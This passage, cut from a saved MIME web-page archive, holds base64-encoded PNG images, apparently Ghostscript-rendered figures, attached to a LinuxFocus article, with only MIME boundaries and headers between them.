JbVOuratS872UnX7ltVz11fDINtEm2e/OKxhZRRvZecfwVnw49qYNElfJyQsc/OfaVr+u7PZgrW2 vamHhmxefP16pmYmTVLrhISbEbmUmcbnVfG80FTPTD00bGrBySINm+rwauqOw9mHrk2j1MykSaIT Lsp/b4dFFrz1MZehylpoduLDvtSbk9BVPWmSBjvctVcpG1Lf2+hERnnJSty1rV2YfehOKtU+adJT RnKNsC/1tr88yslW8+E6H/bhIql1AjEPzM3Pe0rtRq1zqbf95TlOdhTe7OUs7vOTJql1AmGPys2v eErtRq1zqbf9heqodQKEiU6AMNEJECY6AcJEJ0CY6AQIE50AYaITIEx0AoSJToAw0QkQJjoBwkQn QJjoBAgTnQBhohMgTHQChIlOgDDRCRAmOgHCRCdAmOgECBOdAGGiEyBMdAKEiU6AMNEJECY6AcJE J0CY6AQIE50AYaITIEx0AoSJToAw0QkQJjoBwr4cneM4Hi4BeJrv1zqXWSk3gSp8PzoHiQnU5hHR CVAX0QkQ9uXonKbpcAnA06h1AoSJToAw0QkQ9if6hr0LifRRAv0I1zrniJz+9frv5Wszl5krf4Eq FGiwyzugN+EG+xlzDXRVJxWyQBuuR+eyhb7MxHEcX/+dV1gukZ5AA6432FdxmVy+WkFuAm241de5 HCnKPABpu8J2O3eKAfBh5a/rTLbKD9NzEKBAPQpHp6ol0IMyw0TDv8k4TdM4jssBou06SYIVqIgh b4Aw97ADhIlOgDDRCRAmOgHCRCdAmOgECBOdAGGiEyBMdAKEiU6AMNEJEPY/1yxTcR/U41oAAAAA SUVORK5CYII= ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/p3.png 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 ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/a1.png 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 ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/a2.png 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 